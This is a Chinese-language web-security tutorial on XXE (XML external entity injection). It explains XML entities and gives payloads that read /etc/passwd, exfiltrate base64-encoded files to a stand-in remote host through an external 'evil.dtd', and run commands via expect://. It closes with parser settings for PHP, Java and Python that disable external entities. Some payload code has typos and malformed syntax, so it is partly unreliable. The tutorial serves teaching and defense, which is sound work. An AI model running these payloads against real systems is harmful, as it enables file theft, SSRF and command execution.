WEB安全番外第三篇--关于XXE

一、什么是XXE

1、XML实体简介

（1）在一段时间中，XML都是WEB信息传输的主要方法，时至今日XML在WEB中作为前后台之间传递数据的结构，依然发挥着重要的作用。在XML中有一种结构叫做实体：

（2）一般其定义的标签关键字ENTITY，分为如下两种：

　　　　一般实体<!ENTITY entity_name "entity_text"> 引用实体&name

　　　　参数实体!ENTITY % entity_name "entity_text"> 引用实体%name

（3）此外还有两个概念内部实体、外部实体，内部实体如上就不赘述了，外部实体如下定义：

　　　　<!ENTITY name SYSTEM "http://hostname.domain.domain/dtd/entities.dtd">

　　　　<!ENTITY copyright SYSTEM "http://hostname.domain.domain/dtd/entities.dtd">

2、搞清楚了1中的内容，接下来我们来看XXE（XML External Entity）

　　说白了就是XML外部实体注入，通过构造输入中的XML部分，当允许引用外部实体时，通过构造恶意内容，可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

二、构造XXE进行利用

1、读取任意文件

（1）有回显的：

直接引用：

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "file:///etc/passwd">
]>

引入外部定义或声明来引用：

声明的：

<?xml verstion="1.0" encoding="utf-8"?>
    <!DOCTYPE a[
        <!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">
        %f;
    ]>
<c>&b<c>        

定义的：

<?xml verstion="1.0" encoding="utf-8"?>
    <!DOCTYPE a SYSTEM "http://www.m03.com/evil.dtd">
<c>&b<c>

外部dtd文件如下：

<!ENTITY b SYSTEM "file:///etc/passwd">

当然外层会有java、php处理

（2）没有回显的，需要发送到远端服务器上：

<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/ resource=/etc/issue">
    <!ENTITY %dtd SYSTEM http://a.b.c.d/evil.dtd>
%dtd
%send
]>
EOF;
$data = simplexml_load_STRING($XML)
#print_r($data)
?>

远端服务器上evil.dtd：

<! ENTITY  % all
    "<! ENTITY &#x25; send SYSTEM 'http://a.b.c.d/?%file;'>"
>
%all

然后通过远端把这个传过来的文件定义成实体，也就是外部实体，外层在处理。

2、命令执行：

具体参考一个PHP的，当然这里需要php安装插件：

<?php 
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
/*
例子参靠源自：
作者：Pino_HD
链接：https://www.jianshu.com/p/7325b2ef8fc9
*/

3、SSRF：

　　既然发起发起访问，name自然就可以SSRF、同样内网探测也可以。

4、对于不同程序语言

三、防御：

1、对开发语言配置禁用外部实体：

主要是

（1）PHP

libxml_disable_entity_loader(true);

（2）Java

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

（3）Python

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2、禁用外部实体

3、及时升级相关组件、中间件、避免组件中有类似的漏洞

四、参考资料：

1、https://www.cnblogs.com/r00tuser/p/7255939.html

2、https://www.jianshu.com/p/7325b2ef8fc9